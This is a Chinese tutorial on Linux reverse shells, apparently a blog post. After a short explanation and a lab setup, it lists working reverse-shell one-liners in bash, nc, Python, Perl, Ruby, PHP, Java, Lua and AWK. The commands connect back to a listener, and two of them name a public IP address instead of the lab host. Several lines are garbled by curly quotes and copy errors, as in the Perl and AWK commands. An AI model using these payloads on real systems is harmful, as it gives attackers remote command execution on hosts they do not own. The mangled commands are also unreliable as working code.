linux反弹shell

什么是反弹shell？
　　反弹shell（reverse shell），就是控制端监听在某TCP/UDP端口，被控端发起请求到该端口，并将其命令行的输入输出转到控制端。reverse shell与telnet，ssh等标准shell对应，本质上是网络概念的客户端与服务端的角色反转。
为什么要反弹shell？
通常用于被控端因防火墙受限、权限不足、端口被占用等情形。
实验环境：
kali 192.168.153.135
centos7 192.168.153.149
先期准备：在kali上执行端口监听：

nc -lvvp port	

//port为攻击主机端口号,这里我统一使用10000

在下面几个实验中都要先创建监听端口
就不再赘述了。
1、bash反弹
在centos7执行

bash -i >& /dev/tcp/192.168.153.135/10000 0>&1	

如下图反弹shell成功

解释：
bash -i 打开一个交互的bash ，>& 将标准错误输出重定向到标准输出
/dev/tcp/x.x.x.x/port 意为调用socket,建立socket连接,其中x.x.x.x为要反弹到的主机ip，port为端口
0>&1 标准输入重定向到标准输出，实现你与反弹出来的shell的交互
/dev/tcp/ 是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用，建立一个socket连接，读写这个文件就相当于在这个socket连接中传输数据。同理，Linux中还存在/dev/udp/。
2、nc反弹
在centos7执行

nc -e /bin/bash 192.168.153.135 10000

3、常见脚本反弹
以上脚本是在目标主机上执行，其中 x.x.x.x 均为攻击主机ip，并且需要提前在攻击主机上进行监听相关端口,接下来就不再赘述
1. python反弹
python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.153.135",10000));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);’

2. perl反弹
Perl
perl -e 'use perl -e ‘use Socket;$i="==192.168.153.135==";$p=10000;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in($p,ine{t}_{a}ton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};’

3. Ruby反弹
ruby -rsocket -e ‘exit if fork;c=TCPSocket.new(“ip”,“port”);while(cmd=c.gets);IO.popen(cmd,“r”){|io|c.print io.read}end’

4. PHP
php -r ‘$sock=fsockopen(“ip”,port);exec("/bin/bash -i <&3 >&3 2>&3");’
1
5. Java反弹
public class Revs {
/**
* @param args
* @throws Exception
*/
public static void main(String[] args) throws Exception {
// TODO Auto-generated method stub
Runtime r = Runtime.getRuntime();
String cmd[]= {"/bin/bash","-c",“exec 5<>/dev/tcp/x.x.x.x/5555;cat <&5 | while read line; do $line 2>&5 >&5; done”};
Process p = r.exec(cmd);
p.waitFor();
}
}
6. Lua反弹
lua -e “require(‘socket’);require(‘os’);t=socket.tcp();t:connect(‘121.5.112.123’,‘5555’);os.execute(’/bin/sh -i <&3 >&3 2>&3’);”
7. AWK 反弹
攻击的机器监听，在收到shell的时候不可以输入enter，不然会断开
awk ‘BEGIN{s="/inet/tcp/0/121.5.112.123/6666";for(;s|&getline c;close©)while(c|getline)print|&s;close(s)}’